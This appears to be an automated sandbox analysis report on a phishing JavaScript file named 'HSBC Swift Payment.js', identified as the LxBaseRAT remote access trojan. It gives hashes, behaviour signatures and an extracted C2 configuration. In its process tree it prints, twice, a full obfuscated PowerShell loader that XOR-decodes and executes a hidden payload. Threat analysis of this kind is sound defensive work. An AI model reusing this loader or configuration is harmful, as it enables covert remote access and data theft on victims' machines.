lxbaserat | 49fe73f573adfe963be35d4e5058fb441729fb4970f68d3d900207eaee0b55a8

Analysis

max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/08/2026, 04:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
HSBC Swift Payment.js
Size 77KB
Sample260806-e4ybesx1cs
SHA256 49fe73f573adfe963be35d4e5058fb441729fb4970f68d3d900207eaee0b55a8
MD5 80f75e1631aa7af1c9ecc46f40cc6236
SHA1 b53aeb4a4bcbf3dfbcb6f1ad215a0a853289751e
SHA512 08b5e34b8fd2ed0c58c0b7ff661cfded9e66df5ead015473789d586db6491524ffdfd362211a812cb76a297991440c27c6634c43400e14c06eb428ff74bf487c
SSDEEP 1536:/qN4MMMvr24U8+X3YktX3mHci14t+6rkCX:/U4MMMvr24U8+X3YktX3mHci14t+6rkw
TLSH
T19773AED9557ECE792FC98C0FC665580BDAC94A027F9F700375299CCDC2283E82AA7527
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

group1 a960186a4f0446948e640c091cf27a4d execution lxbaserat rat

Malware Config

Extracted

Family

lxbaserat

Version

1.0.22

Botnet

Group1

Campaign

a960186a4f0446948e640c091cf27a4d

lxxlxxnew.noip.at:4055

Attributes

directory
WindowsTelemetry\Logs
executable
client.exe
password
JhJvrFokWE5J7XGvy01o

Signatures

Family: LxBaseRAT
LxBaseRAT is a .NET remote access trojan with stealer capabilities.
rat lxbaserat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4604	4340	cmd.exe	89

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	1180	powershell.exe
9	1180	powershell.exe
10	1180	powershell.exe
11	1180	powershell.exe
12	1180	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1180	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1180 set thread context of 5972	1180	powershell.exe	96

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4604	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1180	powershell.exe
1180	powershell.exe
1180	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1180	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 1180	4604	cmd.exe	92
PID 1180 wrote to memory of 5352	1180	powershell.exe	93
PID 5352 wrote to memory of 4712	5352	csc.exe	94
PID 1180 wrote to memory of 5972	1180	powershell.exe	96
PID 1180 wrote to memory of 5972	1180	powershell.exe	96
PID 1180 wrote to memory of 5972	1180	powershell.exe	96
PID 1180 wrote to memory of 5972	1180	powershell.exe	96
PID 1180 wrote to memory of 5972	1180	powershell.exe	96

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\HSBC Swift Payment.js"
1⤵
PID:1324

C:\Windows\system32\cmd.exe
cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe "$j=37-81;$dvvDcZz='1mebKtEu';$aq8mI4B='96cd9cbc80ac9bf2c8abaaad91fec28cfea4a0a685adcfec96cd948684aac18cfeb5b9a182bbbfb0f2a9bb8580b08eb8feb592f2db8d8abceeb5a6bc988e9db0efa8aca78dfed2ffc089aabccf8d8abceeb5a6bc988e9db0efa8aca78d8a96affe9af5f2b5b29ceea9cac5ec83e8dbe2bca3978691bc82bcfc92fca49bbaa889ef88b68ad0bdddb3ee9db68ab5bbb791ab9d98f8948b8289f6a5889e8bbaa8b3eda5a5bb86bda789f2a588a48b97a891e89e97869b97a99df49e98fdd1bcddeed39e979a8dbbdc9daa9ea2b09187969de1a3888ed1bfb892fc9697869b84b8eef2a587a3868aa8e6f39d8a8e9bbddd89ef9ea2b0d495a895aea3889e8386bc9df58c97bca3bddc91f7a5988292bbbc9df4979a8e9bbddd89ef9ea2b0d49284bbf7a38a9ed584b891aaa388a49484df99e1a4fd9e958782a7ae8c8ca3d697a8b3f68c88af8697bbeeeea398b09295b7aba28e87828dbaa789e2a5a68aa3bda79ddea5fdf989bfb8ebee96fc9e98bd8289eea38a9a97bcb899eba5a6fdacbcdd99f08c88ab9191dceea2e0c2c2a0ba8bf2cfbebfadc1f3bba6eba28bad87b781b6efaea0a6c1f6b48bfebfbbe6a4b08cb0ffaea1afbce4d58acf81f7e6a6bb9b8cefb5a6a686f6b49cf4a9b9ad93aab2e5a181bda78c9c8eacfef1fb9b95ac86b1fcefebaad7eac6f6b2cac5ae94b08cabf2a8a1e885f6cbb3b2bcebbfdc908aa8b688ada284bd9bffd5a2bbe6b6bb8d9cf7aeaaa695e5c798feb3e29a80b08bb0f6e7eba4c1f3acb0eea9bbe8c5b2c19cf4b2a1bcc8a2caa4efb5b6b393bb9baae9a9efec96f0abb0eca9a3a780baabbeefa6e7ecbef792bcfab3aca09aa392a296cda9bd8fbd9bb6f4a9efa1c9fa8ef3bfb3e3ec8cf2cbafa687e7e1c8a5cba6a69c9fa080b09bb0f680aebc8483d5e5d7a8aeaca0ad9cbaf6a5a3b1c9fa8ef6a0e39df5c5a7c198feb39bb191bb9cf7b2bbf0b3c581c199eeaba38680b38affb6a2bee8c5aa92e4bfa9f2ecb3f0a8baef8aaabc89b18b';$abIaDgo='TBxdGzZ6QkUCVFVUakh/Tkp6WVl6SH5HIlRRUG18N3ARWlxefQ1eTwpoRVVySHMMN0xRQ3dCPGkKS0RWcEJ1B00RCxNxHHlGTBkUWTBoY3MQWURefQhreyVbRF5oQGRPFmUKDV1TdUEQXXlZbVVxTgddGBNMCG0bQFYefnBXf0sBEBRYMgVgCRk1OjoUBXsdJBAYEHZVZAdEExAQbhs/D1UBAhksFCUOVQEFGS8UKA8NVVcYLw96UAMfGRs2BnhUEEgKGDEQKRJKCgUCMBApFUoJBQcxSH1HSwkeXW5GNwlIEBdfalVgGksXAgcnDyUUSgkABDAQIxBLUV1QMRA+ShRfFx43LBpJAhAYE3kcdABAUxkaf090CEBMDWxKRGhUSn1eVHFFeU4DZQoNS3VWGEp/VUNNVWJJCl8YE3kIOQ0JWURUdgYsHDdscRA+CjAHNmwOCTYPOh9NBAxyUAYwC0QfdAkgBjlbaTIQFzpGd0ZEBRAQallkDgJbBAEoFCREBgwCVTMVIhZdFQUDLRU9FFcBABomQiASAlpWVDFSdEELVEBCMUx/Q0pKX0N/U3VOAV9cRWtEd0EJUR5ZekI/D15LV0R4SndGDF5DUW1FNwBfGBRQeUcwHUQcV1B4D0NVBktERXdPdwhUFBATeUZ2DihdXlBqSTANRAkCHhMrNExEBRAQLgYwG2kyFFpnHDdNHUhCWHlTcU1KcF8QPgowBwldVUQ5Gh0qRBgQF3cBOHsnV15Be1NkfV4CdkVxTFJBF10GA01VYkkKXxgTU0BkQwxdQ2wvfDkJRBxdTj4GYlUKS0MQPmE4BANfVhs+BXwMRB8XGz4GQkUDeUNaOQ0wB1QfEBs+BmgWUB8ZOhQBMABEf1VDM3FiTwddQ0RiUn9SEBhzZ0sBPUQBS1NLbUR8RQdMEBp4SGJTEBgFS3hVMG4FVVUbXXFFABk1OjoUATAARBgQFz4BMA==';$zp3Sao=0x99A1-0xB274;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0xAA)};$ar5tNxg=$nPZsJpOH;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0x55)};$gF3pAFPoZ=$nPZsJpOH;$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$aq8mI4B.Length;$j+=2){$nPZsJpOHoldR+=[char](([Convert]::ToInt32($aq8mI4B.Substring($j,2),16))-bxor$ar5tNxg[$i++%$ar5tNxg.Length])};$cH6kK8KT=$nPZsJpOHoldR;$nPZsJpOHoldB=[Convert]::FromBase64String([regex]::Replace($abIaDgo, '$nPZsJpOH', ''));$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$nPZsJpOHoldB.Length;$j++){$nPZsJpOHoldR+=[char]($nPZsJpOHoldB[$j]-bxor$gF3pAFPoZ[$i++%$gF3pAFPoZ.Length])};$jRlgIbuF=$nPZsJpOHoldR;$yzY7ssN=$cH6kK8KT+$jRlgIbuF;.($env:ComSpec[4,26,25]-join'') $yzY7ssN"
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "$j=37-81;$dvvDcZz='1mebKtEu';$aq8mI4B='96cd9cbc80ac9bf2c8abaaad91fec28cfea4a0a685adcfec96cd948684aac18cfeb5b9a182bbbfb0f2a9bb8580b08eb8feb592f2db8d8abceeb5a6bc988e9db0efa8aca78dfed2ffc089aabccf8d8abceeb5a6bc988e9db0efa8aca78d8a96affe9af5f2b5b29ceea9cac5ec83e8dbe2bca3978691bc82bcfc92fca49bbaa889ef88b68ad0bdddb3ee9db68ab5bbb791ab9d98f8948b8289f6a5889e8bbaa8b3eda5a5bb86bda789f2a588a48b97a891e89e97869b97a99df49e98fdd1bcddeed39e979a8dbbdc9daa9ea2b09187969de1a3888ed1bfb892fc9697869b84b8eef2a587a3868aa8e6f39d8a8e9bbddd89ef9ea2b0d495a895aea3889e8386bc9df58c97bca3bddc91f7a5988292bbbc9df4979a8e9bbddd89ef9ea2b0d49284bbf7a38a9ed584b891aaa388a49484df99e1a4fd9e958782a7ae8c8ca3d697a8b3f68c88af8697bbeeeea398b09295b7aba28e87828dbaa789e2a5a68aa3bda79ddea5fdf989bfb8ebee96fc9e98bd8289eea38a9a97bcb899eba5a6fdacbcdd99f08c88ab9191dceea2e0c2c2a0ba8bf2cfbebfadc1f3bba6eba28bad87b781b6efaea0a6c1f6b48bfebfbbe6a4b08cb0ffaea1afbce4d58acf81f7e6a6bb9b8cefb5a6a686f6b49cf4a9b9ad93aab2e5a181bda78c9c8eacfef1fb9b95ac86b1fcefebaad7eac6f6b2cac5ae94b08cabf2a8a1e885f6cbb3b2bcebbfdc908aa8b688ada284bd9bffd5a2bbe6b6bb8d9cf7aeaaa695e5c798feb3e29a80b08bb0f6e7eba4c1f3acb0eea9bbe8c5b2c19cf4b2a1bcc8a2caa4efb5b6b393bb9baae9a9efec96f0abb0eca9a3a780baabbeefa6e7ecbef792bcfab3aca09aa392a296cda9bd8fbd9bb6f4a9efa1c9fa8ef3bfb3e3ec8cf2cbafa687e7e1c8a5cba6a69c9fa080b09bb0f680aebc8483d5e5d7a8aeaca0ad9cbaf6a5a3b1c9fa8ef6a0e39df5c5a7c198feb39bb191bb9cf7b2bbf0b3c581c199eeaba38680b38affb6a2bee8c5aa92e4bfa9f2ecb3f0a8baef8aaabc89b18b';$abIaDgo='TBxdGzZ6QkUCVFVUakh/Tkp6WVl6SH5HIlRRUG18N3ARWlxefQ1eTwpoRVVySHMMN0xRQ3dCPGkKS0RWcEJ1B00RCxNxHHlGTBkUWTBoY3MQWURefQhreyVbRF5oQGRPFmUKDV1TdUEQXXlZbVVxTgddGBNMCG0bQFYefnBXf0sBEBRYMgVgCRk1OjoUBXsdJBAYEHZVZAdEExAQbhs/D1UBAhksFCUOVQEFGS8UKA8NVVcYLw96UAMfGRs2BnhUEEgKGDEQKRJKCgUCMBApFUoJBQcxSH1HSwkeXW5GNwlIEBdfalVgGksXAgcnDyUUSgkABDAQIxBLUV1QMRA+ShRfFx43LBpJAhAYE3kcdABAUxkaf090CEBMDWxKRGhUSn1eVHFFeU4DZQoNS3VWGEp/VUNNVWJJCl8YE3kIOQ0JWURUdgYsHDdscRA+CjAHNmwOCTYPOh9NBAxyUAYwC0QfdAkgBjlbaTIQFzpGd0ZEBRAQallkDgJbBAEoFCREBgwCVTMVIhZdFQUDLRU9FFcBABomQiASAlpWVDFSdEELVEBCMUx/Q0pKX0N/U3VOAV9cRWtEd0EJUR5ZekI/D15LV0R4SndGDF5DUW1FNwBfGBRQeUcwHUQcV1B4D0NVBktERXdPdwhUFBATeUZ2DihdXlBqSTANRAkCHhMrNExEBRAQLgYwG2kyFFpnHDdNHUhCWHlTcU1KcF8QPgowBwldVUQ5Gh0qRBgQF3cBOHsnV15Be1NkfV4CdkVxTFJBF10GA01VYkkKXxgTU0BkQwxdQ2wvfDkJRBxdTj4GYlUKS0MQPmE4BANfVhs+BXwMRB8XGz4GQkUDeUNaOQ0wB1QfEBs+BmgWUB8ZOhQBMABEf1VDM3FiTwddQ0RiUn9SEBhzZ0sBPUQBS1NLbUR8RQdMEBp4SGJTEBgFS3hVMG4FVVUbXXFFABk1OjoUATAARBgQFz4BMA==';$zp3Sao=0x99A1-0xB274;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0xAA)};$ar5tNxg=$nPZsJpOH;$nPZsJpOH=@();foreach($c in [char[]]$dvvDcZz){$nPZsJpOH+=[byte]($c-bxor0x55)};$gF3pAFPoZ=$nPZsJpOH;$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$aq8mI4B.Length;$j+=2){$nPZsJpOHoldR+=[char](([Convert]::ToInt32($aq8mI4B.Substring($j,2),16))-bxor$ar5tNxg[$i++%$ar5tNxg.Length])};$cH6kK8KT=$nPZsJpOHoldR;$nPZsJpOHoldB=[Convert]::FromBase64String([regex]::Replace($abIaDgo, '$nPZsJpOH', ''));$nPZsJpOHoldR='';$i=0;for($j=0;$j-lt$nPZsJpOHoldB.Length;$j++){$nPZsJpOHoldR+=[char]($nPZsJpOHoldB[$j]-bxor$gF3pAFPoZ[$i++%$gF3pAFPoZ.Length])};$jRlgIbuF=$nPZsJpOHoldR;$yzY7ssN=$cH6kK8KT+$jRlgIbuF;.($env:ComSpec[4,26,25]-join'') $yzY7ssN"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1180
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qz1lwckn\qz1lwckn.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5352
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC2BE.tmp" "c:\Users\Admin\AppData\Local\Temp\qz1lwckn\CSC802D27ABA9FB421ABCFA9A3CD4E48A.TMP"
      4⤵
      PID:4712
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5972

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RESC2BE.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC2BE.tmp
Size 1KB
SHA256 b6c5311d4728ad7316984334d60ea218ffca32d8d14e165a27fdc4badad88eb9
MD5 85ca7f37166a24e53682191b69bce608
SHA1 c5f17457e341f1d229e1e2613bd897678791c861
SHA512 0b8a01ced616a72575e8c904cb85ff73952cf81ec905e3b5d281b5581f682b08a290ee7340f9e60d2da386745dbbe486aa10a9850459690b277df962f7487ce6
TLSH
T17521EF0453E9471EF0734B306DF6172FA269FE64EFB1A35B954402282C41504EEA1FB2
MD5 SHA1 SHA512 TLSH

Submit Download

qz1lwckn.dll

Path C:\Users\Admin\AppData\Local\Temp\qz1lwckn\qz1lwckn.dll
Size 3KB
SHA256 52c8b2478782ff47074c2cdeee66bc55675be06655818191045ac0134189cd52
MD5 9a90da14bae15003bab9cf5846b24346
SHA1 899b67dd2fad31cc7db072a88bfde707c53c1c91
SHA512 e4e15f73d257bf9c1b01e6eda30aa4cd195e7be33774c738b460da31432fbbff1d1c960c72566cde2c10a58285ef200955c336e7facd694daf2691cffe48eb5c
TLSH
T17F51F10657E4463BE4B70B317EF743532774F920AB62535D5880427CAC613606E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

CSC802D27ABA9FB421ABCFA9A3CD4E48A.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\qz1lwckn\CSC802D27ABA9FB421ABCFA9A3CD4E48A.TMP
Size 652B
SHA256 055fc3850666a1de4c496ca6de8d734da22273d8ef7794335f0b070dfe91ba5a
MD5 250aaf29edaf17de27e1042b98d97f0c
SHA1 38707f7a3c73eec995b92861239e25ed58727474
SHA512 46086a0a0d1a543c76f78f0aa1570ca90a82bd98623287e187970d891c35f2ffcb4b6583e1d791eeebd87ff73acd2c3de8fb2294295e157a8e759b05bb8660bd
TLSH
T122F05E0963F8420EF0F34B70BEF6536395A8BC64DE72A3ED6840032D68649108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

qz1lwckn.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\qz1lwckn\qz1lwckn.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

qz1lwckn.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\qz1lwckn\qz1lwckn.cmdline
Size 369B
SHA256 ff1a85cd92b44a323c22f5e78e327be69e39c3ad4d8c6c60976cd082a5c01b19
MD5 d0327cfb258da7175f08ebd57e0021b0
SHA1 95cd61f413cd3eaa531716348f54f0cf041132e5
SHA512 9f08dc5202f17f262dc3bdf2dd8dda6b3a2931e911273c94f54cdca653a729d9b611468d756ca2aa2860de71f7307c22caaf45f1fae4b1ede77f4239e3142beb
TLSH
T154E0C06AE247C27E09DF100B296DD4ECC27B174329403F84508C440DF0AF41077D1752
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1180-9-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-7-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-0-0x00007FFD153AF000-0x00007FFD153B0000-memory.dmp

Download

memory/1180-10-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-11-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-12-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-13-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-14-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-15-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-16-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-17-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-8-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-6-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-5-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-4-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-31-0x00000226B0470000-0x00000226B0478000-memory.dmp

Download

memory/1180-3-0x0000022697ED0000-0x0000022697EF2000-memory.dmp

Download

memory/1180-39-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-32-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-33-0x00007FFD15220000-0x00007FFD15BC4000-memory.dmp

Download

memory/1180-35-0x00000226964E0000-0x00000226964FA000-memory.dmp

Download

memory/5352-29-0x00000226A3900000-0x00000226A42A4000-memory.dmp

Download

memory/5972-36-0x0000000000400000-0x000000000047C000-memory.dmp

Download